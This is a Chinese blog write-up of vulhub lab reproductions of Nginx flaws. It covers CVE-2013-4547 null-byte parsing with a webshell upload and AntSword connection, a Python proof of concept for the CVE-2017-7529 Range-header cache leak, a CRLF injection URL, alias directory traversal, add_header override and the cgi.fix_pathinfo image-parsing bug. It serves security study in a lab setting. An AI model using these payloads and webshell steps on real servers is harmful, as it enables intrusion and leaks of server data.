vulhub-Nginx

文章目录

    • CVE-2013-4547(文件名逻辑漏洞(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7))
    • CVE-2017-7529(Nginx越界读取缓存漏洞(0.5.6 - 1.13.2))
    • Nginx 配置错误导致漏洞
      • 1.CRLF注入漏洞
      • 2.目录穿越
      • 3. add_header被覆盖
    • Nginx 解析漏洞复现

CVE-2013-4547(文件名逻辑漏洞(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7))

vulhub-Nginx_第1张图片
这代表匹配以.php结尾的请求,然后交给fastcgi处理
这里是location的详细匹配规则

1.我们传入类似1.gif[0x20][0x00].php能够匹配到location那个值
2.进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20]
3.fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞

测试:
我们首先提交php文件,可以看到是不行的:
vulhub-Nginx_第2张图片
然后我们上传图片文件:可以看到可以上传成功
在这里插入图片描述
现在我们上传利用漏洞的文件:
vulhub-Nginx_第3张图片
修改空白为[0x20][0x00]
在这里插入图片描述
这里改hex的原因是需要未编码的空格和/0
vulhub-Nginx_第4张图片
尝试访问该网页:
vulhub-Nginx_第5张图片
这里还有一个问题就是当我们上传了一句话木马,如果想用蚁剑连接的话[0x00]这个符号是输入不了的。。。。。

所以我的想法是如果有写入的权限的话,可以写入一个新的php文件,然后用蚁剑去连接:

写入一句话的网页:
vulhub-Nginx_第6张图片
访问看是否成功:
vulhub-Nginx_第7张图片
蚁剑连接:成功
vulhub-Nginx_第8张图片

CVE-2017-7529(Nginx越界读取缓存漏洞(0.5.6 - 1.13.2))

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
转载于:添加链接描述

vulhub中的poc:

import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605#地址偏移量
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)//两个负的地址,就能够读取到http返回头的一些内容

r = requests.get(url, headers=headers)
print(r.text)

大佬用urllib库写的poc:添加链接描述

测试:
vulhub-Nginx_第9张图片

Nginx 配置错误导致漏洞

1.CRLF注入漏洞

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

location / {
return 302 https://$host$uri;
}

利用位置:

http://your-ip:8080/%0a%0dSet-Cookie:%20a=1

2.目录穿越

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

location /files {
alias /home/;
}

测试:
访问 /files…/
vulhub-Nginx_第10张图片
修改配置文件:
vulhub-Nginx_第11张图片
然后再次尝试目录穿越:
vulhub-Nginx_第12张图片
可以看到没有办法进行目录穿越了

3. add_header被覆盖

Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。

如下列代码,整站(父块中)添加了CSP头:

add_header Content-Security-Policy “default-src ‘self’”;
add_header X-Frame-Options DENY;

location = /test1 {
rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
但/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:

payload:

/test2#

经过我的测试,不知道为什么浏览器弹不了窗

Nginx 解析漏洞复现

上传图片马:
访问uploads/1.jpg/.php,发现php代码被解析了
vulhub-Nginx_第13张图片
分析:
vulhub-Nginx_第14张图片
1.nginx将匹配到的末尾以.php的都交给fastcgi来进行处理。

2.但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/1.jpg’。

3.最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.jpg’等文件当做代码解析。

你可能感兴趣的:(vulhub-Nginx)